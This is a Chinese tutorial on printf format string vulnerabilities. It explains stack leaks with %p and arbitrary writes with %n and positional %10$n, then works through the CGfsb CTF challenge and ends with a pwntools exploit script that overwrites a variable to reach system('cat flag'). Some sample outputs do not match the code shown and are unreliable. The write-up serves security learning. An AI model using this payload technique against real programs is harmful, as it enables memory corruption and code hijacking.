最近看了很多格式化字符串漏洞利用的文章,发现写得都差那么点意思,所以决定自己写一篇,结合实例,好好地把这个知识点捋一捋。
对于一般的函数而言,应该按照cdecl (C Declaration) 函数调用规定把函数的参数从右到左依次压栈, 但是printf并不是一般的函数,它是C语言中少有的支持可变参数的库函数,所以,在被调用之前,被调用者无法知道函数调用之前有多少个参数被压入栈中。所以printf函数要求传入一个format参数以指定参数的数量和类型,然后printf函数就会严格的按照format参数所规定的格式逐个从栈中取出并输出参数。 那么,可供选择的输出格式有哪些呢?
%d 以十进制整数的格式输出
%s 以字符串的的格式输出
%x 以十六进制数的格式输出
%c 以字符的格式输出
%p 以指针的格式输出
%n 到目前为止所输出的字符数(把一个int值写到指定的地址去)
让我们看一眼示例代码:
#include
int main()
{
printf("%s %d %d %d %d","num",1,2,3,4);
return 0;
}
如果正常运行上述程序的话,汇编代码主体是这样的:
0x000011ad <+20>: add eax,0x2e53
0x000011b2 <+25>: sub esp,0x8
0x000011b5 <+28>: push 0x4
0x000011b7 <+30>: push 0x3
0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1
0x000011bd <+36>: lea edx,[eax-0x1ff8]
0x000011c3 <+42>: push edx
0x000011c4 <+43>: lea edx,[eax-0x1ff4]
0x000011ca <+49>: push edx
0x000011cb <+50>: mov ebx,eax
0x000011cd <+52>: call 0x1030
此时栈里的内容
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'
01:0004│ 0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */
02:0008│ 0xffffd198 ◂— 0x1
03:000c│ 0xffffd19c ◂— 0x2
04:0010│ 0xffffd1a0 ◂— 0x3
05:0014│ 0xffffd1a4 ◂— 0x4
06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd452 ◂— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
此时,一个大胆的想法浮现到了脑海中:如果我给出的format参数的个数大于待输出的参数数量会发生什么事情呢?
示例代码:
#include
int main()
{
printf("%s %d %d %d %d %x %x","num",1,2,3,4);
return 0;
}
汇编代码主体:
0x000011ad <+20>: add eax,0x2e53
0x000011b2 <+25>: sub esp,0x8
0x000011b5 <+28>: push 0x4
0x000011b7 <+30>: push 0x3
0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1
0x000011bd <+36>: lea edx,[eax-0x1ff8]
0x000011c3 <+42>: push edx
0x000011c4 <+43>: lea edx,[eax-0x1ff4]
0x000011ca <+49>: push edx
0x000011cb <+50>: mov ebx,eax
0x000011cd <+52>: call 0x1030
栈:
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'
01:0004│ 0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */
02:0008│ 0xffffd198 ◂— 0x1
03:000c│ 0xffffd19c ◂— 0x2
04:0010│ 0xffffd1a0 ◂— 0x3
05:0014│ 0xffffd1a4 ◂— 0x4
06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd44e ◂— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
运行结果:
1 2 3 33 test 1a1390 4013e8
--------------------------------
Process exited after 0.01398 seconds with return value 0
虽然我们给了7个格式化输出的参数,但是实际压入栈中的参数只有5个,所以,printf会输出两个本不应该输出的地址内容,借助这个漏洞,我们就泄露出了栈中的数据。
我们借助攻防世界一道题(CGfsb)来理解这个知识点
下面是使用IDA得到的伪代码主体
01| puts("please tell me your name:");
02| read(0, &v5, 0xAu);
03| puts("leave your message please:");
04| fgets((char *)&v8, 100, stdin);
05| printf("hello %s", &v5);
06| puts("your message is:");
07| printf((const char *)&v8);
08| if ( pwnme == 8 )
09| {
10| puts("you pwned me, here is your flag:\n");
11| system("cat flag");
12| }
13| else
14| {
15| puts("Thank you!");
16| }
看到第7行,printf输出了在前面输入的v8变量,但是并没有给出任何格式化参数,所以我们可以通过构造v8的值来让printf误以为程序给出了格式化参数,从而乖乖的按照我们的意思输出我们所需的值。
运行效果:
Starting program: /root/pwn resources/gongfang/CGfsb_print_f
please tell me your name:
aaaa
leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
hello aaaa
your message is:
AAAA0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
Thank you!
[Inferior 1 (process 622877) exited normally]
显然,程序泄露出了我们想要知道的printf函数的栈帧中输出字符串后19个内存单元的值,理论上来说,我们可以使用这个漏洞来进行任意读栈中的值(没错又是这种为所欲为的快乐)
也许有人看到这个标题可能会觉得很疑惑,为什么printf还能进行写入操作?
任意地址写就要用到上面说的%n了,示例如下:
int main(void)
{
int c = 0;
printf("the usage of %n", &c);
printf("c = %d\n", c);
return 0;
}
这个程序的输出值会是"c = 13"
就是说**%n参数把他前面输出的字符数赋值给了变量c**
那么,我们只要更改c所对应栈中的地址不就可以把我们想要的数值赋给对应地址了吗?
也许到这一步你有点不能理解,没关系,我们来看栈的结构
printf函数栈顶 |
---|
格式化输出参数(%d %x %s %n) |
待输出参数1(%d格式) |
待输出参数2(%x格式) |
待输出参数3(%s格式) |
待赋值参数4(地址) |
printf函数栈底 |
先前调用的函数栈顶** |
… |
… |
… |
就是说,我们把先前输出字符的总长度赋值给了参数4所对应的地址,也就是说,我们只要控制前面输出的长度就可以控制该参数所对应地址的值了。
但是,问题又来了,我们怎么控制参数4的值呢?
这就需要用到printf的另外一个特性:$操作符。这个操作符可以输出指定位置的参数。
就是说,假如格式化输出参数是“%6$n”的话,就把之前输出的长度赋值给printf函数的第6个参数,但是printf函数根本不知道自己的栈有多大,所以我们只需要把这个偏移数值定位到我们能够修改的内存空间,比如说题目中的v8变量所在地址就可以了~
那么题目中的偏移量是多少呢?
我们看前面构造的偷看任意位置内存空间的输入运行结果:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
看到‘0x41414141‘,就是我们输入的AAAA,也就是说,我们能控制的内存空间相对位置在printf函数的第10个参数位置(其实printf函数根本没有这么多个参数,只不过他自己并不知道)(10是怎么来的?从AAAA到0x41414141还有九个输出值,所以v8在相对第十个参数位置)
所以我们就可以构造我们的exp了!!!
from pwn import *
r = process("./CGfsb")
pwnme_addr = 0x0804A068 #pwnme地址在伪代码中双击查看
payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用,使得
r.recvuntil("please tell me your name:\n")
r.sendline('aaaa')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
这篇文章查资料以及码字一共花了两天,期间问了相当多大佬,但始终没能得到自己想要的答案,最后还是靠着自己对汇编的理解以及函数的特性码出了这篇文章。果然,一入pwn门深似海,从此头发是路人。如果对看完文章的你有帮助,不妨点一波赞支持支持头皮发凉的我呗【手动滑稽】